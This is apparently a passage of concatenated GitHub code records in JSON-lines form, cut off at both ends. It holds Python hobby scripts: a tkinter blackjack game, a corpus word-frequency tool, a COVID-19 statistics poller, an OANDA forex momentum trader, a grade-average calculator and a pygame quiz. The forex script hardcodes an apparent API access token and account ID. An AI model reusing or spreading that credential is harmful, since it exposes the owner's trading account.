To Screen\n\t\t\tglobal player_image1, player_image2, player_image3, player_image4, player_image5\n\t\t\t\n\t\t\t\n\t\t\tif player_spot == 0:\n\t\t\t\t# Resize Card\n\t\t\t\tplayer_image1 = resize_cards(f'cards/{player_card}.png')\n\t\t\t\t# Output Card To Screen\n\t\t\t\tplayer_label_1.config(image=player_image1)\n\t\t\t\t# Increment our player spot counter\n\t\t\t\tplayer_spot += 1\n\t\t\telif player_spot == 1:\n\t\t\t\t# Resize Card\n\t\t\t\tplayer_image2 = resize_cards(f'cards/{player_card}.png')\n\t\t\t\t# Output Card To Screen\n\t\t\t\tplayer_label_2.config(image=player_image2)\n\t\t\t\t# Increment our player spot counter\n\t\t\t\tplayer_spot += 1\n\t\t\telif player_spot == 2:\n\t\t\t\t# Resize Card\n\t\t\t\tplayer_image3 = resize_cards(f'cards/{player_card}.png')\n\t\t\t\t# Output Card To Screen\n\t\t\t\tplayer_label_3.config(image=player_image3)\n\t\t\t\t# Increment our player spot counter\n\t\t\t\tplayer_spot += 1\n\t\t\telif player_spot == 3:\n\t\t\t\t# Resize Card\n\t\t\t\tplayer_image4 = resize_cards(f'cards/{player_card}.png')\n\t\t\t\t# Output Card To Screen\n\t\t\t\tplayer_label_4.config(image=player_image4)\n\t\t\t\t# Increment our player spot counter\n\t\t\t\tplayer_spot += 1\n\t\t\telif player_spot == 4:\n\t\t\t\t# Resize Card\n\t\t\t\tplayer_image5 = resize_cards(f'cards/{player_card}.png')\n\t\t\t\t# Output Card To Screen\n\t\t\t\tplayer_label_5.config(image=player_image5)\n\t\t\t\t# Increment our player spot counter\n\t\t\t\tplayer_spot += 1\n\n\t\t\t\t# See if 5 card bust\n\t\t\t\t# grab our totals\n\t\t\t\tplayer_total = 0\n\t\t\t\tdealer_total = 0\n\n\t\t\t\t# get player score\n\t\t\t\tfor score in player_score:\n\t\t\t\t\tplayer_total += score\n\n\n\t\t\t\t# get player score\n\t\t\t\tfor score in dealer_score:\n\t\t\t\t\tdealer_total += score\n\n\n\t\t\t\t# Check to see if <= 21\n\t\t\t\tif player_total <= 21:\n\t\t\t\t\t# We win!!\n\t\t\t\t\t# Disable buttons\n\t\t\t\t\tcard_button.config(state=\"disabled\")\n\t\t\t\t\tstand_button.config(state=\"disabled\")\n\n\t\t\t\t\t# Pop up a message box!\n\t\t\t\t\t# messagebox.showinfo(\"Player Wins!!\", f\"Player Wins! Dealer:{dealer_total}   Player: {player_total}\")\n\t\t\t\t\tstatus.config(text=\"Player Wins!\")\n\n\t\n\t\t\t# Put number of remaining cards in title bar\n\t\t\troot.title(f'{len(deck)} Cards Left')\n\n\n\t\texcept:\n\t\t\troot.title(f'No Cards In Deck')\n\n\t\tblackjack_shuffle(\"player\")\n\n\tplayer_total = sum(player_score)\n\tdealer_total = dealer_score[0]\n\tplayer_count.config(text=player_total)\n\tdealer_count.config(text=dealer_total)\n\n\tif len(player_score) > 1:\n\t\tplayerHand = sum(player_score)\n\t\tdealerFaceUp = dealer_score[0]\n\t\tsuggestion = policy[(playerHand, dealerFaceUp, False)]\n\t\tprint(suggestion)\n\n\t\tif suggestion == \"H\":\n\t\t\trecommended.config(text=\"\\\"You should hit!\\\"\")\n\t\telse:\n\t\t\trecommended.config(text=\"\\\"You're set! Stay!\\\"\")\n\nmy_frame = Frame(root, bg=\"green\")\nmy_frame.pack(pady=20)\n\nstatus = Label(my_frame, text=\"STATUS\", font=(\"Helvetica\", 30), fg=\"white\", bg=\"green\")\nstatus.pack(pady=20)\n\n# Create Frames For Cards\ndealer_outer_frame = Frame(my_frame, bg=\"green\")\ndealer_outer_frame.pack(padx=20)\n\nplayer_outer_frame = Frame(my_frame, bg=\"green\")\nplayer_outer_frame.pack(padx=20)\n\ndealer_frame = LabelFrame(dealer_outer_frame, text=\"DEALER\", bd=1, bg=\"green\", font=(\"Helvetica\", 20), fg=\"gold\")\ndealer_frame.pack(padx=20, ipadx=20)\ndealer_frame.grid(row=0, column=0)\n\ndealer_count = Label(dealer_outer_frame, text=\"0\", bg=\"green\", font=(\"Helvetica\", 40), fg=\"gold\")\ndealer_count.grid(row=0, column=1)\n\nplayer_frame = LabelFrame(player_outer_frame, text=\"PLAYER\", bd=1, bg=\"green\", font=(\"Helvetica\", 20), fg=\"gold\")\nplayer_frame.pack(ipadx=20, pady=10)\nplayer_frame.grid(row=0, column= 0)\n\nplayer_count = Label(player_outer_frame, text=\"0\", bg=\"green\", font=(\"Helvetica\", 40), fg=\"gold\")\nplayer_count.grid(row=0, column=1)\n\n# Put Dealer cards in frames\ndealer_label_1 = Label(dealer_frame, text='', bg=\"green\")\ndealer_label_1.grid(row=0, column=0, pady=20, padx=20)\n\ndealer_label_2 = Label(dealer_frame, text='', bg=\"green\")\ndealer_label_2.grid(row=0, column=1, pady=20, padx=20)\n\ndealer_label_3 = Label(dealer_frame, text='', bg=\"green\")\ndealer_label_3.grid(row=0, column=2, pady=20, padx=20)\n\ndealer_label_4 = Label(dealer_frame, text='', bg=\"green\")\ndealer_label_4.grid(row=0, column=3, pady=20, padx=20)\n\ndealer_label_5 = Label(dealer_frame, text='', bg=\"green\")\ndealer_label_5.grid(row=0, column=4, pady=20, padx=20)\n\n# Put Player cards in frames\nplayer_label_1 = Label(player_frame, text='', bg=\"green\")\nplayer_label_1.grid(row=1, column=0, pady=20, padx=20)\n\nplayer_label_2 = Label(player_frame, text='', bg=\"green\")\nplayer_label_2.grid(row=1, column=1, pady=20, padx=20)\n\nplayer_label_3 = Label(player_frame, text='', bg=\"green\")\nplayer_label_3.grid(row=1, column=2, pady=20, padx=20)\n\nplayer_label_4 = Label(player_frame, text='', bg=\"green\")\nplayer_label_4.grid(row=1, column=3, pady=20, padx=20)\n\nplayer_label_5 = Label(player_frame, text='', bg=\"green\")\nplayer_label_5.grid(row=1, column=4, pady=20, padx=20)\n\n# Create Button Frame\nbutton_frame = Frame(root, bg=\"green\")\nbutton_frame.pack(pady=20)\n\n# Create a couple buttons\nshuffle_button = Button(button_frame, text=\"Shuffle Deck\", font=(\"Helvetica\", 16), command=shuffle, bg=\"green\")\nshuffle_button.grid(row=0, column=2)\n\ncard_button = Button(button_frame, text=\"Hit Me!\", font=(\"Helvetica\", 16), command=player_hit, bg=\"green\")\ncard_button.grid(row=0, column=3, padx=10)\n\nstand_button = Button(button_frame, text=\"Stay!\", font=(\"Helvetica\", 16), command=stand, bg=\"green\")\nstand_button.grid(row=0, column=4)\n\n# Create Clippy frame\nlabel_frame = Frame(root, bg=\"green\")\nlabel_frame.pack(pady=20)\ncimage = resize_clippy(\"clippy.png\")\nlabel = Label(label_frame, text='', image=cimage, bg=\"green\")\nlabel.grid(row=0, column=0)\n\nrecommended = Label(label_frame, text='', bg=\"green\", font=(\"Helvetica\", 16), fg=\"white\")\nrecommended.grid(row=0, column=1, padx=10)\n\n# Shuffle Deck On Start\nshuffle()\n\n\nroot.mainloop()","repo_name":"JulianTanja/Blackjack_Simulator","sub_path":"Blackjack_Simulator/blackjack_7.py","file_name":"blackjack_7.py","file_ext":"py","file_size_in_byte":16583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"73395006456","text":"import os\nimport nltk\nfrom nltk.stem import WordNetLemmatizer\nfrom collections import defaultdict\nimport pandas as pd\nimport re\nfrom nltk.stem import PorterStemmer\n\nlemmatizer = WordNetLemmatizer()\nps = PorterStemmer()\nfiles = os.listdir(\"Corpus\")\ndf = defaultdict(dict)\nnum_of_file = len(files)\nfor file in files:\n    word_freq = dict()\n    lines = open('Corpus/{}'.format(file), encoding='utf-8', errors='ignore').readlines()\n    for line in lines:\n        words = [re.search(r'[a-z]*', item.lower()).group() for item in line.split() if re.search(r'[a-z]*', item.lower()).group() ]\n        for word in words:\n            word_freq[word] = word_freq.get(word, 0) + 1\n\n    for word in word_freq:\n        if word not in df:\n            df[word]['Stem'] = ps.stem(word)\n            wo, df[word]['Pos'] = nltk.pos_tag([word])[0]\n            df[word]['TF_{}'.format(file.strip('.txt'))] = word_freq[word]\n        else:\n            df[word]['TF_{}'.format(file.strip('.txt'))] = word_freq[word]\n\n\nfor word in df:\n    df[word]['IDF'] = (len(df[word])-2)/num_of_file\n    df[word]['TF'] = sum([df[word][key] for key in df[word].keys() if (key not in ['Stem', 'Pos', 'IDF'])])\n\n\ndata = pd.DataFrame.from_dict(df, orient='index')\ndata.index.name = 'Lemma'\ndata.fillna(0, inplace=True)\ndata['Rank'] = data['TF'].rank(ascending=0, method='dense')\ndata.sort_values('Rank', inplace=True)\ndata.to_csv('data.csv')\ndata.groupby('Stem')","repo_name":"distance-teaching-and-mobile-learning/Teacher-Dashboard","sub_path":"DTML.Python/corpus.py","file_name":"corpus.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9949073091","text":"import json\nimport requests\nimport time\nimport os\nfrom defs import form_date\nfrom bs4 import BeautifulSoup\n\nold_date = '2020-05-07T10:34:37Z'\nmy_url = 'https://api.covid19api.com/summary'\n\nwhile True:\n    #time.sleep(15)\n    try:\n        myjson = requests.get(my_url).json()\n    except:\n        print('Reloading...')\n        os.system('C:/Users/ahmed/AppData/Local/Programs/Python/Python37/python.exe c:/Users/ahmed/OneDrive/Desktop/to-bash/main.py')\n    new_date = myjson[\"Date\"]\n    if new_date != old_date:\n        # taking data\n        for i in myjson[\"Countries\"]:\n            if i[\"Country\"] == \"Azerbaijan\":\n                total_confirmed = i[\"TotalConfirmed\"]\n                new_cases = i[\"NewConfirmed\"]\n                total_death = i[\"TotalDeaths\"]\n                new_death = i[\"NewDeaths\"]\n                break\n\n        # Validating Data\n        if new_cases and new_death != 0:\n        # Formatting Data\n            print('-------------------------------------------')\n            print('Azərbaycan Üçün COVİD-19 Statistikası')\n            print(form_date(new_date))\n            print('Ümumi yoluxanların sayı: ' + str(total_confirmed))\n            print('Yeni yoluxanların sayı: +' + str(new_cases))\n            print('Ümumi ölənlərin sayı: ' + str(total_death))\n            print('Yeni ölənlərin sayı: +' + str(new_death))\n        old_date = new_date","repo_name":"ahmed-gelemli/covid-tg-az","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"43600835730","text":"import oandapyV20\nimport oandapyV20.endpoints.pricing as pricing\nimport oandapyV20.endpoints.orders as orders\nfrom oandapyV20.contrib.requests import MarketOrderRequest\nimport pandas as pd\nimport numpy as np\n\naccess_token = '82957cd1a8234cf899f729284c094d27-e31e01c267351992774813f5e64c8b43'\naccountID = \"101-004-12401398-001\"\nclient = oandapyV20.API(access_token=access_token)\n\n\nclass MomentumTrader(pricing.PricingStream):\n    def __init__(self, momentum, *args, **kwargs):\n        pricing.PricingStream.__init__(self, *args, **kwargs)\n        self.ticks = 0\n        self.position = 0\n        self.df = pd.DataFrame()\n        self.momentum = momentum\n        self.units = 1000\n    def create_order(self, side, units):\n        #negative side  = selling, positive = buying\n        if side == \"sell\":\n            units = units*-1\n        mo = MarketOrderRequest(instrument=\"EUR_USD\", units=units)\n        r = orders.OrderCreate(accountID, data=mo.data)\n        print(\"making trade\")\n        client.request(r)\n        print(r.response)\n\n    def on_success(self, data):  # 36\n        #print(self.df.to_string())\n        self.ticks += 1  # 37\n        #print(self.ticks, end=', ')\n        #print(pd.DataFrame(data,index=[data['time']]).to_string())\n        # appends the new tick data to the DataFrame object\n        self.df = self.df.append(pd.DataFrame(data,\n                                 index=[data['time']]))  # 38\n        # transforms the time information to a DatetimeIndex object\n        self.df.index = pd.DatetimeIndex(self.df['time'])  # 39\n        # resamples the data set to a new, homogeneous interval, as in aggregates info to every 15 sec\n        dfr = self.df.resample('10s').pad()  # 40#.last()\n\n        # calculates the log returns\n        dfr['closeoutAsk'] = dfr['closeoutAsk'].astype('float')\n        dfr['returns'] = np.log(dfr['closeoutAsk'] / dfr['closeoutAsk'].shift(1))  # 41\n\n        #print(\"df\", self.df.to_string())\n        #print(\"dfr\", dfr.to_string())\n\n        # derives the positioning according to the momentum strategy\n        #print(\"mom\", self.momentum, \"roll\", dfr['returns'].rolling(10).mean().to_string())\n        #print(\"to be signed:\", str(dfr['returns'].rolling(\n        #                              self.momentum).mean()))\n        #print(type(dfr['returns'].rolling(\n        #                              self.momentum).mean()))\n        print()\n        dfr['position'] = np.sign(dfr['returns'].rolling(\n                                      self.momentum).mean())  # 42\n        #print(dfr[-1].to_string())\n        print(\"positions \", dfr['position'].iloc[-1], self.position)\n        if dfr['position'].iloc[-1] == 1:  # 43\n            # go long\n            if self.position == 0:  # 44\n                self.create_order('buy', self.units)  # 45\n            elif self.position == -1:  # 46\n                self.create_order('buy', self.units * 2)  # 47\n            self.position = 1  # 48\n        elif dfr['position'].iloc[-1] == -1:  # 49\n            # go short\n            if self.position == 0:  # 50\n                self.create_order('sell', self.units)  # 51\n            elif self.position == 1: # 52\n                self.create_order('sell', self.units * 2)  # 53\n            self.position = -1  # 54\n        if self.ticks == 2500:  # 55\n            # close out the position\n            if self.position == 1:  # 56\n                self.create_order('sell', self.units)  # 57\n            elif self.position == -1:  # 58\n                self.create_order('buy', self.units)  # 59\n            #self.disconnect()  # 60\n            self.terminate()\n\n# setup the stream request\n\nparams = {\"instruments\": \"EUR_USD\", \"timeout\": \"5\"}\n#r = pricing.PricingStream(accountID=accountID, params=params)\n#rv = client.request(r)\n#maxrecs = 100\n#for ticks in r:\n#    print json.dumps(R, indent=4),\",\"\n#        r.terminate('maxrecs records received')\n\nmt = MomentumTrader(momentum=12,accountID=accountID, params=params)\nrv = client.request(mt)\nfor tick in rv:\n    print(tick)\n    if tick[\"type\"] == \"PRICE\":\n        mt.on_success(tick)\n","repo_name":"vcucu/RL_realtime_forextrader","sub_path":"agent_tradingenv/momentumtrader.py","file_name":"momentumtrader.py","file_ext":"py","file_size_in_byte":4069,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"28869166398","text":"\"\"\"\nClássico da Média\n\"\"\"\nfrom tkinter import Tk, Label, Button, Entry, W\n\n\ndef imprimir_dados():\n    \"\"\"\n    :return: Faz a entrada das notas, o cálculo da média e cria a label que\n             mostrará o resultado.\n    \"\"\"\n    nota1 = float(entrada1.get())\n    nota2 = float(entrada2.get())\n    media = (nota1+nota2) / 2\n    Label(app, text=media, background='white',\n                   foreground='black', anchor=W).place(x=30, y=200, width=100, height=30)\n\n\napp = Tk()\napp.title('Clássico da Média')\napp.geometry('500x300')\n\nLabel(app, text='Nota 1').place(x=10, y=10, width=100, height=30)\nentrada1 = Entry(app)\nentrada1.place(x=30, y=35, width=200, height=20)\nLabel(app, text='Nota 2').place(x=10, y=70, width=100, height=30)\nentrada2 = Entry(app)\nentrada2.place(x=30, y=100, width=200, height=20)\n\nButton(app, text='Calcular Média', command=imprimir_dados).place(x=30, y=150, width=100, height=20)\nButton(app, text='Encerrar Programa', command=exit).place(x=200, y=150, width=120, height=20)\n\napp.mainloop()\n","repo_name":"Nilsonsantos-s/Praticando","sub_path":"Python/Exercícios Gerais/Bibliotecas/tkinter/Clássico da Média/classico_da_media.py","file_name":"classico_da_media.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"33829534556","text":"import sys\nimport random\nimport pygame as pg\nfrom materiales.materials import *\nfrom tabla import TABLA_OPERACIONES\nfrom gral import *\nfrom string import ascii_letters\n\n\nord_ascii_letters = list()\nfor l in ascii_letters:\n    ord_ascii_letters.append(ord(l)) \nord_ascii_letters.append(32)\n\n# pygame start\npg.init()\n\n# Set up the drawing window\nSCREEN = pg.display.set_mode([WIDTH, HEIGHT])\n# Window caption\npg.display.set_caption(\"Sapien\")\n# Sound effects\nmouse_click = pg.mixer.Sound(s_click)\nmouse_click.set_volume(0.1)\nhover = pg.mixer.Sound(hover_option)\nhover.set_volume(0.1)\ncheckmark = pg.mixer.Sound(checkmark)\ncheckmark.set_volume(0.1)\nwrong_answer = pg.mixer.Sound(wrong_answer)\nwrong_answer.set_volume(0.1)\nclock_tick = pg.mixer.Sound(clock_tick)\nclock_tick.set_volume(0.1)\n\n# Timer capture\npg.time.set_timer(pg.USEREVENT, 1000)\n\n\n# CLASS TEXT\nclass Text:\n    def __init__(self, font_family=roboto_light, size=25, text='LOREM IPSUM', color=LETTERS, x_ax=position_x_center, y_ax=position_y_center):\n        self.font_family = font_family\n        self.size = size\n        self.text = text\n        self.color = color\n        self.x_axis = x_ax\n        self.y_axis = y_ax\n\n    def __str__(self):\n        return f'''\n{__class__.__name__} '{self.text}':\nPosition= {self.x_axis, self.y_axis}\nFormat= FF({self.font_family}), Size {self.size}, Text \"{self.text}\", Text color {self.color}\n'''\n\n# BUTTON RECT\nclass Button_rect(Text):\n    def __init__(self, font_family=roboto_regular, size=25, text='BTN IPSUM', color=LETTERS, x_ax=position_x_center, y_ax=position_y_center, btn_color=WHITE, btn_size=[200, 45], area=None, value=None):\n        Text.__init__(self, font_family, size, text, color, x_ax, y_ax)\n        self.btn_color = btn_color\n        self.btn_size = btn_size\n        self.area = area\n        self.value = value\n    \n    def __str__(self):\n        return f'''\n{__class__.__name__} '{self.text}':\nPosition= {self.x_axis, self.y_axis}\nFormat= FF({self.font_family}), Size {self.size}, Text color {self.color}\nButton= Color{self.btn_color}, Size{self.btn_size}\n'''\n\n# BUTTON\nclass Button(Text):\n    def __init__(self, font_family=roboto_regular, size=25, text='BTN IPSUM', color=LETTERS, x_ax=position_x_center, y_ax=position_y_center, btn_color=WHITE, btn_size=[200, 45], area=None, value=None):\n        Text.__init__(self, font_family, size, text, color, x_ax, y_ax)\n        self.btn_color = btn_color\n        self.btn_size = btn_size\n        self.area = area\n        self.value = value\n    \n    def __str__(self):\n        return f'''\n{__class__.__name__} '{self.text}':\nPosition= {self.x_axis, self.y_axis}\nFormat= FF({self.font_family}), Size {self.size}, Text color {self.color}\nButton= Color{self.btn_color}, Size{self.btn_size}\n'''\n\n# ROUND-BUTTON\nclass Button_round(Text):\n    def __init__(self, font_family=roboto_regular, size=30, text='BTN IPSUM', color=LETTERS, x_ax=position_x_center, y_ax=position_y_center, btn_color=WHITE, btn_size=[75, 75], area=None, value=None):\n        Text.__init__(self, font_family, size, text, color, x_ax, y_ax)\n        self.btn_color = btn_color\n        self.btn_size = btn_size\n        self.area = area\n        self.value = value\n\n    def __str__(self):\n        return f'''\n{__class__.__name__} '{self.text}':\nPosition= {self.x_axis, self.y_axis}\nFormat= FF({self.font_family}), Size {self.size}, Text color {self.color}\nButton= Color{self.btn_color}, Size{self.btn_size}\n'''\n\n# blit to screen (show)\ndef pg_blit(to_blit):\n    text = pg.font.Font(to_blit.font_family, to_blit.size).render(to_blit.text, True, to_blit.color)\n    text_rect = text.get_rect(center=(to_blit.x_axis, to_blit.y_axis))\n    # IF ITS A TEXT, IT WILL ONLY BLIT TEXT\n    if type(to_blit) == Text:\n        return SCREEN.blit(text, text_rect)\n    elif type(to_blit) in (Button, Button_round):\n        btn_self_center = [to_blit.x_axis-to_blit.btn_size[0] // 2, to_blit.y_axis-to_blit.btn_size[1]//2]\n        def draw():\n            # DRAWS A FIGURE ACCORDING TO THE CLASS INPUT\n            if type(to_blit) == Button_round:\n                pg.draw.rect(SCREEN, to_blit.btn_color, (btn_self_center[0], btn_self_center[1], to_blit.btn_size[0], to_blit.btn_size[1]), border_radius=75)\n                to_blit.area = [btn_self_center[0], btn_self_center[0]+to_blit.btn_size[0],btn_self_center[1], btn_self_center[1]+to_blit.btn_size[1]]\n            elif type(to_blit) == Button:\n                pg.draw.rect(SCREEN, to_blit.btn_color, (btn_self_center[0], btn_self_center[1], to_blit.btn_size[0], to_blit.btn_size[1]), border_radius=15)\n                to_blit.area = [btn_self_center[0], btn_self_center[0]+to_blit.btn_size[0], btn_self_center[1], btn_self_center[1]+to_blit.btn_size[1]]\n            elif type(to_blit) == Button_rect:\n                pg.draw.rect(SCREEN, to_blit.btn_color, (btn_self_center[0], btn_self_center[1], to_blit.btn_size[0], to_blit.btn_size[1]))\n                to_blit.area = [btn_self_center[0], btn_self_center[0]+to_blit.btn_size[0], btn_self_center[1], btn_self_center[1]+to_blit.btn_size[1]]\n            # THIS SCREEN.BLIT GOES AFTER EACH FIGURE IS DRAWN\n            SCREEN.blit(text, text_rect)\n        return draw()\n\n# Screen animation between options\ndef screen_animation(type='OUT', color_from=BACKGROUND, color_target=BLACK):\n    animation_in = [\n        Button_round(text='', btn_color=(color_target[0]*0.10, color_target[1]*0.10, color_target[2]*0.10), btn_size=(WIDTH*0.05, HEIGHT*0.05)),\n        Button_round(text='', btn_color=(color_target[0]*0.15, color_target[1]*0.15, color_target[2]*0.15), btn_size=(WIDTH*0.15, HEIGHT*0.15)),\n        Button_round(text='', btn_color=(color_target[0]*0.20, color_target[1]*0.20, color_target[2]*0.20), btn_size=(WIDTH*0.20, HEIGHT*0.20)),\n        Button_round(text='', btn_color=(color_target[0]*0.25, color_target[1]*0.25, color_target[2]*0.25), btn_size=(WIDTH*0.25, HEIGHT*0.25)),\n        Button_round(text='', btn_color=(color_target[0]*0.30, color_target[1]*0.30, color_target[2]*0.30), btn_size=(WIDTH*0.30, HEIGHT*0.30)),\n        Button_round(text='', btn_color=(color_target[0]*0.35, color_target[1]*0.35, color_target[2]*0.35), btn_size=(WIDTH*0.35, HEIGHT*0.35)),\n        Button_round(text='', btn_color=(color_target[0]*0.40, color_target[1]*0.40, color_target[2]*0.40), btn_size=(WIDTH*0.40, HEIGHT*0.40)),\n        Button_round(text='', btn_color=(color_target[0]*0.45, color_target[1]*0.45, color_target[2]*0.45), btn_size=(WIDTH*0.45, HEIGHT*0.45)),\n        Button_round(text='', btn_color=(color_target[0]*0.50, color_target[1]*0.50, color_target[2]*0.50), btn_size=(WIDTH*0.50, HEIGHT*0.50)),\n        Button_round(text='', btn_color=(color_target[0]*0.55, color_target[1]*0.55, color_target[2]*0.55), btn_size=(WIDTH*0.55, HEIGHT*0.55)),\n        Button_round(text='', btn_color=(color_target[0]*0.60, color_target[1]*0.60, color_target[2]*0.60), btn_size=(WIDTH*0.60, HEIGHT*0.60)),\n        Button_round(text='', btn_color=(color_target[0]*0.65, color_target[1]*0.65, color_target[2]*0.65), btn_size=(WIDTH*0.65, HEIGHT*0.65)),\n        Button_round(text='', btn_color=(color_target[0]*0.70, color_target[1]*0.70, color_target[2]*0.70), btn_size=(WIDTH*0.70, HEIGHT*0.70)),\n        Button_round(text='', btn_color=(color_target[0]*0.75, color_target[1]*0.75, color_target[2]*0.75), btn_size=(WIDTH*0.75, HEIGHT*0.75)),\n        Button_round(text='', btn_color=(color_target[0]*0.80, color_target[1]*0.80, color_target[2]*0.80), btn_size=(WIDTH*0.80, HEIGHT*0.80)),\n        Button_round(text='', btn_color=(color_target[0]*0.85, color_target[1]*0.85, color_target[2]*0.85), btn_size=(WIDTH*0.85, HEIGHT*0.85)),\n        Button_round(text='', btn_color=(color_target[0]*0.90, color_target[1]*0.90, color_target[2]*0.90), btn_size=(WIDTH*0.90, HEIGHT*0.90)),\n        Button_round(text='', btn_color=color_target, btn_size=(WIDTH*0.95, HEIGHT*0.95)),\n        Button_round(text='', btn_color=color_target, btn_size=(WIDTH, HEIGHT))        \n    ]\n    animation_out = [\n        Button_round(text='', btn_color=(color_from[0]*1.00, color_from[1]*1.00, color_from[2]*1.00), btn_size=(WIDTH*1.05, HEIGHT*1.05)),\n        Button_round(text='', btn_color=(color_from[0]*0.95, color_from[1]*0.95, color_from[2]*0.95), btn_size=(WIDTH*0.95, HEIGHT*0.95)),\n        Button_round(text='', btn_color=(color_from[0]*0.90, color_from[1]*0.90, color_from[2]*0.90), btn_size=(WIDTH*0.90, HEIGHT*0.90)),\n        Button_round(text='', btn_color=(color_from[0]*0.85, color_from[1]*0.85, color_from[2]*0.85), btn_size=(WIDTH*0.85, HEIGHT*0.85)),\n        Button_round(text='', btn_color=(color_from[0]*0.80, color_from[1]*0.80, color_from[2]*0.80), btn_size=(WIDTH*0.80, HEIGHT*0.80)),\n        Button_round(text='', btn_color=(color_from[0]*0.75, color_from[1]*0.75, color_from[2]*0.75), btn_size=(WIDTH*0.75, HEIGHT*0.75)),\n        Button_round(text='', btn_color=(color_from[0]*0.70, color_from[1]*0.70, color_from[2]*0.70), btn_size=(WIDTH*0.70, HEIGHT*0.70)),\n        Button_round(text='', btn_color=(color_from[0]*0.65, color_from[1]*0.65, color_from[2]*0.65), btn_size=(WIDTH*0.65, HEIGHT*0.65)),\n        Button_round(text='', btn_color=(color_from[0]*0.60, color_from[1]*0.60, color_from[2]*0.60), btn_size=(WIDTH*0.60, HEIGHT*0.60)),\n        Button_round(text='', btn_color=(color_from[0]*0.55, color_from[1]*0.55, color_from[2]*0.55), btn_size=(WIDTH*0.55, HEIGHT*0.55)),\n        Button_round(text='', btn_color=(color_from[0]*0.50, color_from[1]*0.50, color_from[2]*0.50), btn_size=(WIDTH*0.50, HEIGHT*0.50)),\n        Button_round(text='', btn_color=(color_from[0]*0.45, color_from[1]*0.45, color_from[2]*0.45), btn_size=(WIDTH*0.45, HEIGHT*0.45)),\n        Button_round(text='', btn_color=(color_from[0]*0.40, color_from[1]*0.40, color_from[2]*0.40), btn_size=(WIDTH*0.40, HEIGHT*0.40)),\n        Button_round(text='', btn_color=(color_from[0]*0.35, color_from[1]*0.35, color_from[2]*0.35), btn_size=(WIDTH*0.35, HEIGHT*0.35)),\n        Button_round(text='', btn_color=(color_from[0]*0.30, color_from[1]*0.30, color_from[2]*0.30), btn_size=(WIDTH*0.30, HEIGHT*0.30)),\n        Button_round(text='', btn_color=(color_from[0]*0.25, color_from[1]*0.25, color_from[2]*0.25), btn_size=(WIDTH*0.25, HEIGHT*0.25)),\n        Button_round(text='', btn_color=(color_from[0]*0.20, color_from[1]*0.20, color_from[2]*0.20), btn_size=(WIDTH*0.20, HEIGHT*0.20)),\n        Button_round(text='', btn_color=(color_from[0]*0.15, color_from[1]*0.15, color_from[2]*0.15), btn_size=(WIDTH*0.15, HEIGHT*0.15)),\n        Button_round(text='', btn_color=(color_from[0]*0.10, color_from[1]*0.10, color_from[2]*0.10), btn_size=(WIDTH*0.10, HEIGHT*0.10)),\n        Button_round(text='', btn_color=(color_from[0]*0.05, color_from[1]*0.05, color_from[2]*0.05), btn_size=(WIDTH*0.05, HEIGHT*0.05)),\n        Button_round(text='', btn_color=(color_from[0]*0.00, color_from[1]*0.00, color_from[2]*0.00), btn_size=(0,0)),\n    ]\n\n    if type == 'IN':\n        for i in animation_in:\n            pg_blit(i)\n            pg.display.update()\n            pg.time.wait(25)\n    elif type == 'OUT':\n        for i in animation_out:\n            SCREEN.fill(color_target)\n            pg_blit(i)\n            pg.display.update()\n            pg.time.wait(25)\n    return pg.display.update()\n\n# Smaller animation after chosing\ndef choose_animation(type=None):\n    \n    def set(color, text):\n        animation_1 = [\n            Button_round(text='', btn_color=(color[0]*0.30, color[1]*0.30, color[2]*0.30), btn_size=(WIDTH*0.05, HEIGHT*0.05)),\n            Button_round(text='', btn_color=(color[0]*0.50, color[1]*0.50, color[2]*0.50), btn_size=(WIDTH*0.10, HEIGHT*0.20)),\n            Button_round(text='', btn_color=(color[0]*0.60, color[1]*0.60, color[2]*0.60), btn_size=(WIDTH*0.20, HEIGHT*0.30)),\n            Button_round(text='', btn_color=(color[0]*0.70, color[1]*0.70, color[2]*0.70), btn_size=(WIDTH*0.30, HEIGHT*0.30)),\n            Button_round(text='', btn_color=(color[0]*0.80, color[1]*0.80, color[2]*0.80), btn_size=(WIDTH*0.40, HEIGHT*0.40)),\n            Button_round(text='', btn_color=(color[0]*0.90, color[1]*0.90, color[2]*0.90), btn_size=(WIDTH*0.50, HEIGHT*0.50)),\n            Button_round(text=text, btn_color=(color[0]*1.00, color[1]*1.00, color[2]*1.00), btn_size=(WIDTH*0.60, HEIGHT*0.60))\n        ]\n        animation_2 = [\n            Button_round(text='', btn_color=BLACK, btn_size=(WIDTH*1.15, HEIGHT*1.15)),\n            Button_round(text='', btn_color=BLACK, btn_size=(WIDTH*0.95, HEIGHT*0.95)),\n            Button_round(text='', btn_color=BLACK, btn_size=(WIDTH*0.90, HEIGHT*0.90)),\n            Button_round(text='', btn_color=BLACK, btn_size=(WIDTH*0.85, HEIGHT*0.85)),\n            Button_round(text='', btn_color=BLACK, btn_size=(WIDTH*0.80, HEIGHT*0.80)),\n            Button_round(text='', btn_color=BLACK, btn_size=(WIDTH*0.75, HEIGHT*0.75)),\n            Button_round(text='', btn_color=BLACK, btn_size=(WIDTH*0.70, HEIGHT*0.70)),\n            Button_round(text='', btn_color=BLACK, btn_size=(WIDTH*0.62, HEIGHT*0.62)),\n            Button_round(text='', btn_color=(color[0]*1.00, color[1]*1.00, color[2]*1.00), btn_size=(WIDTH*0.55, HEIGHT*0.55)),\n            Button_round(text='', btn_color=(color[0]*1.00, color[1]*1.00, color[2]*1.00), btn_size=(WIDTH*0.40, HEIGHT*0.40)),\n            Button_round(text='', btn_color=(color[0]*1.00, color[1]*1.00, color[2]*1.00), btn_size=(WIDTH*0.30, HEIGHT*0.30)),\n            Button_round(text='', btn_color=(color[0]*1.00, color[1]*1.00, color[2]*1.00), btn_size=(WIDTH*0.20, HEIGHT*0.20)),\n            Button_round(text='', btn_color=(color[0]*1.00, color[1]*1.00, color[2]*1.00), btn_size=(WIDTH*0.10, HEIGHT*0.10)),\n            Button_round(text='', btn_color=(color[0]*1.00, color[1]*1.00, color[2]*1.00), btn_size=(WIDTH*0.05, HEIGHT*0.05))\n        ]\n        for 